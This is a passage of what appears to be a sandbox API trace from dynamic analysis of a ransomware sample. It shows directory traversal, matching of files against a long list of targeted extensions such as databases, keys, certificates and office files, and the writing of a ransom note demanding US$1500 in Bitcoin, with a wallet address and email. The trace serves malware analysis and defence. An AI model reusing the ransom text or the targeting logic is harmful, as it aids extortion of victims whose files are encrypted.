[0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.7z") returned 0 [0144.337] lstrlenA (lpString="*.7z") returned 4 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.tar") returned 0 [0144.337] lstrlenA (lpString="*.tar") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.bz2") returned 0 [0144.337] lstrlenA (lpString="*.bz2") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.gz") returned 0 [0144.337] lstrlenA (lpString="*.gz") returned 4 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mkv") returned 0 [0144.337] lstrlenA (lpString="*.mkv") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.eml") returned 0 [0144.337] lstrlenA (lpString="*.eml") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.msg") returned 0 [0144.337] lstrlenA (lpString="*.msg") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.edb") returned 0 [0144.337] lstrlenA (lpString="*.edb") returned 5 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.accdb") returned 0 [0144.337] lstrlenA (lpString="*.accdb") returned 7 [0144.337] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.odb") returned 0 [0144.337] lstrlenA (lpString="*.odb") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.java") returned 0 [0144.338] lstrlenA (lpString="*.java") returned 6 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.asm") returned 0 [0144.338] lstrlenA (lpString="*.asm") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.pfx") returned 0 [0144.338] lstrlenA (lpString="*.pfx") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.pem") returned 0 [0144.338] lstrlenA (lpString="*.pem") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.p12") returned 0 [0144.338] lstrlenA (lpString="*.p12") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.gpg") returned 0 [0144.338] lstrlenA (lpString="*.gpg") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.vsd") returned 0 [0144.338] lstrlenA (lpString="*.vsd") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.odg") returned 0 [0144.338] lstrlenA (lpString="*.odg") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.raw") returned 0 [0144.338] lstrlenA (lpString="*.raw") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.nef") returned 0 [0144.338] lstrlenA (lpString="*.nef") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.svg") returned 0 [0144.338] lstrlenA (lpString="*.svg") returned 5 [0144.338] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.psd") returned 0 [0144.339] lstrlenA (lpString="*.psd") returned 5 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.vmx") returned 0 [0144.339] lstrlenA (lpString="*.vmx") returned 5 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.vmdk") returned 0 [0144.339] lstrlenA (lpString="*.vmdk") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.vdi") returned 0 [0144.339] lstrlenA (lpString="*.vdi") returned 5 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.lay6") returned 0 [0144.339] lstrlenA (lpString="*.lay6") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mpeg") returned 0 [0144.339] lstrlenA (lpString="*.mpeg") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.djvu") returned 0 [0144.339] lstrlenA (lpString="*.djvu") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.tiff") returned 0 [0144.339] lstrlenA (lpString="*.tiff") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.backup") returned 0 [0144.339] lstrlenA (lpString="*.backup") returned 8 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.pdf") returned 0 [0144.339] lstrlenA (lpString="*.pdf") returned 5 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.cert") returned 0 [0144.339] lstrlenA (lpString="*.cert") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.docm") returned 0 [0144.339] lstrlenA (lpString="*.docm") returned 6 [0144.339] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.xlsm") returned 0 [0144.339] lstrlenA (lpString="*.xlsm") returned 6 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.dwg") returned 0 [0144.340] lstrlenA (lpString="*.dwg") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.nd") returned 0 [0144.340] lstrlenA (lpString="*.nd") returned 4 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.tlg") returned 0 [0144.340] lstrlenA (lpString="*.tlg") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.lgb") returned 0 [0144.340] lstrlenA (lpString="*.lgb") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mov") returned 0 [0144.340] lstrlenA (lpString="*.mov") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.xdw") returned 0 [0144.340] lstrlenA (lpString="*.xdw") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.ods") returned 0 [0144.340] lstrlenA (lpString="*.ods") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.wav") returned 0 [0144.340] lstrlenA (lpString="*.wav") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.mp3") returned 0 [0144.340] lstrlenA (lpString="*.mp3") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.aiff") returned 0 [0144.340] lstrlenA (lpString="*.aiff") returned 6 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.flac") returned 0 [0144.340] lstrlenA (lpString="*.flac") returned 6 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.m4a") returned 0 [0144.340] lstrlenA (lpString="*.m4a") returned 5 [0144.340] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\desktop.ini", pszSpec="*.csv") returned 0 [0144.340] lstrlenA (lpString="*.csv") returned 5 [0144.341] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.341] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0144.341] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="62AXOPQ5", cAlternateFileName="")) returned 1 [0144.341] lstrcmpA (lpString1=".", lpString2="62AXOPQ5") returned -1 [0144.341] lstrcmpA (lpString1="..", lpString2="62AXOPQ5") returned -1 [0144.341] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0144.341] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="62AXOPQ5" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5" [0144.341] lstrlenA (lpString="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5") returned 118 [0144.341] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502798 [0144.341] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0144.342] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.342] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0144.342] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0144.342] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.342] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0144.342] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.342] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.342] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.342] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\*.*") returned="*.*" [0144.342] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\" [0144.342] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\") returned="" [0144.342] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\HOW TO DECRYPT FILES.txt" [0144.342] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\62axopq5\\how to decrypt files.txt")) returned 0xffffffff [0144.342] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\62axopq5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0144.344] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.344] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.345] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.346] CloseHandle (hObject=0xa8) returned 1 [0144.346] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini" [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.ems") returned 0 [0144.346] lstrlenA (lpString="*.ems") returned 5 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.db") returned 0 [0144.346] lstrlenA (lpString="*.db") returned 4 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.dbf") returned 0 [0144.346] lstrlenA (lpString="*.dbf") returned 5 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.myox") returned 0 [0144.346] lstrlenA (lpString="*.myox") returned 6 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.myo") returned 0 [0144.346] lstrlenA (lpString="*.myo") returned 5 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbw") returned 0 [0144.346] lstrlenA (lpString="*.qbw") returned 5 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbb") returned 0 [0144.346] lstrlenA (lpString="*.qbb") returned 5 [0144.346] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbm") returned 0 [0144.347] lstrlenA (lpString="*.qbm") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbo") returned 0 [0144.347] lstrlenA (lpString="*.qbo") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbx") returned 0 [0144.347] lstrlenA (lpString="*.qbx") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qba") returned 0 [0144.347] lstrlenA (lpString="*.qba") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qby") returned 0 [0144.347] lstrlenA (lpString="*.qby") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qbj") returned 0 [0144.347] lstrlenA (lpString="*.qbj") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.ofx") returned 0 [0144.347] lstrlenA (lpString="*.ofx") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.qif") returned 0 [0144.347] lstrlenA (lpString="*.qif") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mye") returned 0 [0144.347] lstrlenA (lpString="*.mye") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mbox") returned 0 [0144.347] lstrlenA (lpString="*.mbox") returned 6 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.eml") returned 0 [0144.347] lstrlenA (lpString="*.eml") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.pst") returned 0 [0144.347] lstrlenA (lpString="*.pst") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.ost") returned 0 [0144.347] lstrlenA (lpString="*.ost") returned 5 [0144.347] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.idx") returned 0 [0144.347] lstrlenA (lpString="*.idx") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.dbx") returned 0 [0144.348] lstrlenA (lpString="*.dbx") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.sql") returned 0 [0144.348] lstrlenA (lpString="*.sql") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 